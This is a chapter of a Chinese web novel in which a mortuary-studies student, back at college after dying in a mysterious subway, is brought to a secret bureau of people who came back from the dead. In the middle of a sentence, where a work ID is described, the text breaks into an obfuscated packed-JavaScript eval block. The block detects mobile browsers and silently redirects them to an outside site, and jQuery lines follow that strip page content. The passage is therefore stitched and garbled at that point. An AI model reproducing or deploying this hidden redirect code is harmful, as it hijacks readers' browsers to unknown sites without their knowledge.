十月八号意味着:她的假期彻底消失了,而今天要去上早八!
迅速翻身下床,开始洗漱,已知:现在在家要去学校需要十五分钟的小电驴,从校门口到教室需要十分钟,得出结论,为了不迟到她现在就得爬起来!
经过客厅的时候她下意识喊一句:“老楚,我走了。”没得到回答,她懊恼地拍自己的脑袋,拿上餐桌上的干巴面包就走。
等到教学楼下,停好车,她看手机时间,七点五十五,时间刚好,没有迟到,她在电车面前深吸两口气,调节自己的情绪才跟着上早八的大部队进入教室,倒数一二三排都没了位置,只剩下倒数第四排的中间位置,楚柚叹口气,随便吧,哪里都行。
刚刚结束十一假期,第一天就要上早八,整个教室里的大学生都是半死不活样,活脱脱没睡醒的干尸样。
讲台上的老师开始讲课。
“现在开始签到,扫大屏幕上的二维码。”
底下的所有人都开始举着手机对准屏幕,楚柚手抬的有点高,衣服顺着手臂滑落下来,漏出来最开头的数字8。
楚柚迅速放下手机,落下袖子,左右看看确保没人关注这边。
悄没声地低下头把袖子悄然撸上去到手肘位置,时间变成8742,她抚摸这一块皮肤,毫无变化,不疼不痒,而这一串数字也代表着那七天的事情根本不是她做梦!
“楚柚,你纹身了啊。”坐在她旁边的女生不经意地瞥到楚柚的手臂凑过去说着,楚柚含糊地哼着:“是,是啊,纹身了。”
“哎,疼不疼,我也想在锁骨位置纹一个蝴蝶,他们说锁骨位置是最疼的。”
楚柚慢悠悠地落下袖子笑道:“挺疼的,考虑清楚了再去纹吧。”
“好吧。”女生嘟囔着,又回到自己的位置玩起了手机。
楚柚也拿起来手机搜她的订票信息,没有,出去预定住宿的信息,没有!她刷新好几遍订单信息都是空空如也,她又去浏览器搜索巫青镇,找出来一堆别的小镇名称,没有巫青镇。
查询飞机航班信息,有出发地到目的地的飞机飞行,可是航班完全不一样,她颓丧地把手机放在桌子上,她真的死过了,可为什么一点消息也没有,整个航班都没有,那她是在哪里?怎么回的家?
还有左云棋和顾南星两个人,如果是做梦,这两名字怎么如此清楚。
想不通想不明白,那便不想了,反正现在没死,还活着那就先好好活着吧。
关于老楚的后续工作她下午得去办,老楚也不是她的亲生父亲,是老楚云游四方的时候从石头缝里捡到的孩子,说是云游四方那还是说好听了,就是到处骗吃骗喝。
据老楚说捡到她的时候,脏兮兮的被褥里有个黑瘦的破烂娃,也不哭,睁着眼睛四处看,反正她也没记忆随便老楚怎么说都行。
没钱了就找地方摆摊给人算命,有钱了就去买吃的,就这样还把楚柚折腾大了,楚柚是从九岁才开始有户口上学的,之前一直是黑户来着,本来老楚都不打算让楚柚上学,说让她也继承自己的衣钵,长大了到处云游四方,结果在H市遇到人口普查,发现两个流浪人口,人口还有小女孩,工作人员不干了,说什么孩子妈妈在哪,孩子才九岁该去上学,不让上学就剥夺老楚的抚养权交给孤儿院。
稀里糊涂,她就在附近小学上了学,老楚也不提云游四方的事,老老实实在本地开了看相算命店,店里顺便卖点开过光的小饰品。
等楚柚考上了大学,选了好人家都讳忌的殡葬专业。
九月份她刚入学,老楚这一个月都不对劲,每次回去吃完饭老楚神神叨叨地说:“快到时间了,就这样吧,不改了,柚子,等你放假咱们去看看海,我走遍这么多地方就是没看过海。”
楚柚回想自己怎么说来着,她当时在厨房刷碗随口答应了说:“行,十一了就去。”
结果没等到十一,人先没了,她不能想当时的场景,楚柚强行拿起来手机转移注意力,她得去找导员请下午的假,拿了假条还得去跟下午上课的老师请假,下午要去银行,银行卡密码她清楚,看看钱能不能取出来,老楚生前每个月都给楚柚攒一笔钱,哪怕再苦也没动过这一笔钱,数额应该挺大,还有店铺,楚柚没时间去看,得跟房东说不租了,转租出去。
她在脑子里一件事一件事地屡自己需要做些什么,填满脑子。
她翻出来手机里导员的联系方式,刚打过去字,那边很快回复:下课可以来办公室拿。
讲台上的教授在讲殡葬心理,她放下手机开始对着课本找教授讲的是那几行字,上午的课上完她找到自己的舍友木半夏,把书本都给了她帮忙带回宿舍去。
木半夏问她:“不回去吗?”
楚柚:“下午请假了,还有点事情需要处理。”
木半夏点点头没再问,她的事舍友知道,就是才来一个月本来不太熟悉,也不好多说别的,只说:“晚上需不需要留门。”
“留,我晚上就回去了。”
“好。”
“哦,对了,你们骑走我的电车吧,这是钥匙,顺便帮我充一下电,钱转给你们,谢谢啦。”楚柚从口袋里找到电车钥匙递给她。
木半夏接过来说:“没事。”
楚柚背上书包找导员拿了假条,又把假条拍了发给下午的任课老师,这才出了校门,刚到门口,她就注意到停在路边的黑车,以及站在黑车旁边穿着黑色的夹克的男人。
黑色夹克,黑色西装裤,黑色墨镜,看到楚柚抬脚就朝她走过来。
在楚柚面前站定,摘墨镜伸手说:“你好,楚柚,我是左云棋。”
汽车行驶在路上,楚柚没忍住说:“真有你这个人啊。”
说出口觉得不对劲又开始找补:“不是,我的意思是真的有地铁这个事?”
左云棋:“是,一会你就知道了。”
楚柚坐在副驾驶上抱着自己的书包,随手打开自己手机的录音器:“好了,我现在问你答。”
左云棋看到她手上的东西就笑出来:“怎么,还怕我拐卖你了不成。”
楚柚:“也不是没有这个可能。”
“那你还跟我走。”左云棋开着车,楚柚自认从九岁就生活在这一片土地上,只要没往山里开,她都能跑回来。
“你跟地铁里的左云棋长得一样,我有疑问想要问,但是…你从哪弄来的我信息。”楚柚皱眉说着:“我记得我从来没有透露出来一点我的信息。”
“你确实没有透露,诺,这个给你。”
楚柚接过来,是一个工作证,准确的说是左云棋的工作证,上方写着:华央特殊保密安全事务局H市
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215156|180596||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
分局,左云棋,13组组长。
背后有华央国标志。
“现在可以相信了吧。”
“这个特殊保密安全事务局怎么搜不到。”楚柚直接在手机上开始搜这一长串的名称,出来一大堆乱七八糟的东西。
“当然搜不到,这里的人员都填过保密协议,里边所有人都是进地铁死过的。”
楚柚想想:我死了但是我进入一个地铁并且安全出来所以活了,这种话估计给谁说都会被抓进精神病院的程度。
“所以,里边都是死过的人,这种还有专门机构呢?”
“有。”
“那……”
左云棋伸出一个手指对着她说:“你还能提出最后一个问题。”
“呃…我想问顾南星你认识吗?”
“刚好他今天也去特保局里,一会你会见到。”
楚柚把手机的录音设备关上,用软件给自己分享一个实时位置,汽车行驶出主干道,开上一条县道,这里已经属于较偏远的村镇了,附近高楼不见一栋,两边还有大片的小麦地和半圆形状的大棚。
汽车最终停在一处三层小洋楼的面前,把车开到地下车库,左云棋摁下电梯,两人进入电梯,左云棋对着楚柚伸手。
“干什么?我没欠你东西。”她就记得欠了顾南星钱,没欠左云棋任何东西。
“工作证。”
“哦哦。”楚柚刚才看完随手塞进自己的口袋里,这个习惯可真是不好,手里的东西随手就给放进口袋了,从口袋里找出来左云棋的工作证递还给他。
刷电梯左云棋摁了第二层电梯。
从外边看这是三层小洋楼,地下还有三层,停车场在倒数一层,底下还有B2和B3不知道里边会是什么地方。
从电梯里走出来,迎面走过来一个穿着白大褂的女生,对着左云棋点头打招呼:“组长。”
左云棋同样点头示意。
楚柚走快两步正好跟他并排:“哇,看起来你很厉害的样子。”
在地铁里跟着顾南星狐假虎威,在这里跟着左云棋狐假虎威,想想还挺爽,不由自主地笑出声来。
一路碰到的人跟着左云棋打招呼,还有穿着蓝色制服的两人合力压制一个男人,男人的样子很奇怪,双眼猩红,龇牙咧嘴,状若癫狂,这个状态她见过,是最后一天的方谭样子。
男人看到楚柚挣扎更剧烈了,嘴里怒吼:“是那个女人给我在车上动手脚,我是重生的,就是那个女人,她要害我我杀了她有错吗?”
旁边的两个人显然更用力压制了,楚柚错身经过的时候听到一个人说:“打一针镇定剂吧。”
直到走到尽头,左云棋打开右边的屋子,对她说:“进。”
“谢谢。”
楚柚刚进来就听到有人说话,懒洋洋的语调:“左组长还真是忙啊,等你半天了,我来报备。”
屋子是个办公室,正对着门有一张棕色桌子,左边一排黑色的软卧沙发,右边是一张单人床,声音是坐在沙发上的人发出来的。
穿着深灰色衬衫与黑色的裤子,低头翻阅什么东西,旁边还站着一位穿着灰色西装的戴着墨镜的男人。
见门响,深灰色衬衫抬起头,刚好和楚柚对上脸。
楚柚低头笑道:“你好啊,顾南星。”